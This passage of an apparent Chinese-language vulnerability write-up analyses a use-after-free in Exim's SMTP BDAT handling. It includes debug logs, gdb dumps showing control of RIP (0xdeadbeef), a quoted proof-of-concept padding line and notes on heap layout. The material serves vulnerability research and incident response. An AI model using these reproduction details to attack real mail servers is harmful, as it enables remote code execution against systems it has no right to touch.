class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> lost </span><span class="kwd">while</span><span class="pln"> reading message data</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Lost</span><span class="pln"> incoming connection</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443048</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443068</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443098</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430c8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430f8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443128</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443158</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443188</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln"> smtp_in</span><span class="pun">.</span><span class="pln">c </span><span class="lit">841</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> child </span><span class="lit">8215</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln"> </span><span class="lit">8213</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">--------------------------------------------</span></code></li><li class="L5"><code><span class="com"># meh的debug信息</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> search_tidyup called</span></code></li><li class="L0"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L1"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L2"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L3"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L4"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">127.0</span><span class="pun">.</span><span class="lit">0.1</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L5"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> child </span><span class="lit">21724</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>发现的确是抛异常了,但是跟meh的debug信息在最后却不一样,然后使用gdb进行调试,发现:
1<ol class="linenums"><li class="L0"><code><span class="pln">RAX </span><span class="lit">0xfbad240c</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX </span><span class="lit">0x30</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX </span><span class="lit">0xffffffffffffffd4</span></code></li><li class="L3"><code><span class="pln"> RDX </span><span class="lit">0x2000</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI </span><span class="lit">0x2b</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8 </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pun">*</span><span class="pln">R9 </span><span class="lit">0x24</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10 </span><span class="lit">0x24</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11 </span><span class="lit">0x4a69e8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> push rbp</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12 </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13 </span><span class="lit">0x1a9</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14 </span><span class="lit">0x24431b8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15 </span><span class="lit">0x5e</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP </span><span class="lit">0x2000</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP </span><span class="lit">0x7ffd75b862c0</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7ffd75b862d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xffffffffffffffff</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> cmp qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L7"><code><span class="pun">--------------</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun"><</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">></span><span class="pln"> cmp qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L9"><code><span class="pun">------------</span></code></li><li class="L0"><code><span class="pln"> </span><span class="typ">Program</span><span class="pln"> received signal SIGSEGV </span><span class="pun">(</span><span class="pln">fault address </span><span class="lit">0xfbad2414</span><span class="pun">)</span></code></li></ol>根本就不是meh描述的利用UAF造成的crash,继续研究,发现如果把debug all的选项
-d+all
换成只显示简单的debug信息的选项-dd
,则就不会抛异常了1<ol class="linenums"><li class="L0"><code><span class="pln">$ sudo </span><span class="pun">./</span><span class="pln">build</span><span class="pun">-</span><span class="typ">Linux</span><span class="pun">-</span><span class="pln">x86_64</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L3"><code><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> child </span><span class="lit">8268</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> normal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>又仔细读了一遍meh在Bugzilla上的描述,看到这句,所以猜测有没有可能是因为padding大小的原因,才导致crash失败的?所以写了代码对padding进行爆破,长度从0-0x4000,爆破了一遍,并没有发现能成功造成crash的长度。
This PoC is affected by the block layout(yield_length), so this line:
r.sendline('a'*0x1250+'\x7f')
should be adjusted according to the program state.所以可以排除是因为padding长度的原因导致PoC测试失败。
而且在漏洞描述页,我还发现Exim的作者也尝试对漏洞进行测试,不过同样测试失败了,还贴出了他的debug信息,和他的debug信息进行对比,和我的信息几乎一样。(并不知道exim的作者在得到meh的Makefile和log后有没有测试成功)。
所以,本来一次简单的漏洞应急,变为了对该漏洞的深入研究
浅入研究
UAF全称是use after free,所以我在free之前,patch了一个printf:
1<ol class="linenums"><li class="L0"><code><span class="com"># src/store.c</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">448</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">449</span><span class="pln"> store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L4"><code><span class="lit">450</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pun">......</span></code></li><li class="L6"><code><span class="lit">481</span><span class="pln"> printf</span><span class="pun">(</span><span class="str">"--------free: %8p-------\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">482</span><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">483</span><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">484</span><span class="pln"> </span><span class="pun">}</span></code></li></ol>重新编译跑一遍,发现竟然成功触发了uaf漏洞:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L3"><code><span class="pun">--------</span><span class="pln">free</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x1e2c1b0</span><span class="pun">-------</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> child </span><span class="lit">8336</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>然后gdb调试的信息也证明成功利用uaf漏洞造成了crash:
1<ol class="linenums"><li class="L0"><code><span class="pun">*</span><span class="pln">RAX </span><span class="lit">0xdeadbeef</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX </span><span class="lit">0x1e29341</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xadbeef000000000a</span><span class="pln"> </span><span class="com">/* '\n' */</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">RDX </span><span class="lit">0x7df</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI </span><span class="lit">0x46cedd</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_free_3</span><span class="pun">+</span><span class="lit">70</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> pop rbx</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8 </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pln"> R9 </span><span class="lit">0x7f054f32b700</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x7f054f32b700</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10 </span><span class="lit">0xffff80fab41c4748</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11 </span><span class="lit">0x203</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12 </span><span class="lit">0x7f054dc69993</span><span class="pln"> </span><span class="pun">(</span><span class="pln">state</span><span class="pun">+</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13 </span><span class="lit">0x4ad5b6</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jb </span><span class="lit">0x4ad61d</span><span class="pln"> </span><span class="com">/* 'receive.c' */</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14 </span><span class="lit">0x7df</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15 </span><span class="lit">0x1e1d8f0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP </span><span class="lit">0x7ffe169262b8</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7f054d9275e7</span><span class="pln"> </span><span class="pun">(</span><span class="pln">free</span><span class="pun">+</span><span class="lit">247</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> add rsp</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x28</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP </span><span class="lit">0xdeadbeef</span></code></li><li class="L7"><code><span class="pun">------------------------------------------</span></code></li><li class="L8"><code><span class="typ">Invalid</span><span class="pln"> address </span><span class="lit">0xdeadbeef</span></code></li></ol>PS: 这里说明下
./build-Linux-x86_64/exim
这个binary是没有patch printf的代码,/usr/exim/bin/exim
是patch了printf的binary到这里就很奇怪了,加了个printf就能成功触发漏洞,删了就不能,之后用
puts
和write
代替了printf
进行测试,发现puts
也能成功触发漏洞,但是write
不能。大概能猜到应该是stdio的缓冲区机制的问题,然后继续深入研究。深入研究
来看看meh在Bugzilla上对于该漏洞的所有描述:
1<ol class="linenums"><li class="L0"><code><span class="typ">Hi</span><span class="pun">,</span><span class="pln"> we found a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability which </span><span class="kwd">is</span><span class="pln"> exploitable to RCE </span><span class="kwd">in</span><span class="pln"> the SMTP server</span><span class="pun">.</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="typ">According</span><span class="pln"> to receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1783</span><span class="pun">,</span><span class="pln"> </span></code></li><li class="L3"><code><span class="lit">1783</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L4"><code><span class="lit">1784</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="lit">1785</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li 